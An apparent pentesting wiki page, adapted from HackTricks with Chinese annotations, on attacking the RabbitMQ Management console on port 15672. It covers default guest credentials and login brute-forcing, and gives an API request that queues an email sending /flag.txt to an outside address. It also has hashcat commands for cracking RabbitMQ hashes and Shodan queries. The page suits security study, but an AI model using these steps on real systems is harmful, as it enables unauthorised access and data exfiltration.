---
title: "15672 - Rabbitmq Mgmt"
weight: 15672
date: "2026-03-10T10:03:28+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **15672 - RabbitMQ Management** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

> ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

## 15672 - 渗透测试 RabbitMQ Management

### 基本信息

You can learn more about RabbitMQ in [**5671,5672 - 渗透测试 AMQP**](5671-5672-pentesting-amqp.md).\
In this port you may find the RabbitMQ Management web console if the [management plugin](https://www.rabbitmq.com/management.html) is enabled.\
The main page should looks like this:

![](<../images/image (336).png>)

### 信息收集

The default credentials are "_**guest**_":"_**guest**_". If they aren't working you may try to [**brute-force the login**](../generic-hacking/brute-force.md#http-post-form).

To manually start this module you need to execute:

```
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
```

Once you have correctly authenticated you will see the admin console:

![](<../images/image (441).png>)

Also, if you have valid credentials you may find interesting the information of `http://localhost:15672/api/connections`

注意 also that it's possible to **publish data inside a queue** using the API of this service with a request like:

```bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267

{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
```

### Cracking 哈希

```bash
echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist
```

#### Shodan

```bash
# Shodan 搜索语法
port:15672
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:15672
```

---

## 📖 参考资料

- [HackTricks - 15672-rabbitmq-mgmt](https://book.hacktricks.wiki/en/network-services-pentesting/15672-rabbitmq-mgmt.html)

